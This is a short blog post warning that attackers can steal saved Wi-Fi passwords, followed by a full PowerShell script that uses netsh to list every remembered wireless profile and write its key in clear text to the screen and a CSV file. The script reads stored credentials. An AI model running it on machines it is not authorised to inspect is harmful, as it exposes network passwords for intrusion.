PowerShell: Remembered Wireless Networks and it’s passwords


Hackers can run a script on your computer by any available methods (Malware, downloaded program, java script) to get your wireless password easily. That’s why you should not download any executable program from unknown and unreliable websites or a USB disk from parking lot. Once they have the wireless password, they can connect to the wireless network from parking lot or closed location around the property and get into the network.

This PowerShell script demonstrates how to grab the remembered wireless network names and it’s password in clear text on the running computer.

P.S. It is pretty dump to leave the output of the script on your computer for others to read.

<#

    Script to get all remembered wireless networks and their
passwords on the running computer.

    This script display the wireless network name and its
password and also saves it in wireless-passwords.csv
file

#>
$wprofiles = @()

(((netsh wlan show profiles) | out-string ).split(“`r`n”)).ForEach({
if ($_ -like “*All user profile*”)
{
$profiletextline = $_.Split(“:”)
$wprofiles += $profiletextline[1].trim()
}
})
“WirelessName`tPassword” | Out-File -FilePath .\Wireless-passwords.csv
$wprofiles.foreach({
$profilename = $_
(((netsh wlan show profile $profilename key=clear) | Out-String).Split(“`r`n”)).ForEach({
if ($_ -like “*Key content*”)
{
$passwordline = ($_.Split(“:”))[1].trim()
“$profilename`t$passwordline” | Out-File -FilePath .\Wireless-passwords.csv -Append
“$profilename = $passwordline”
}
})

})
# End of the Script

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s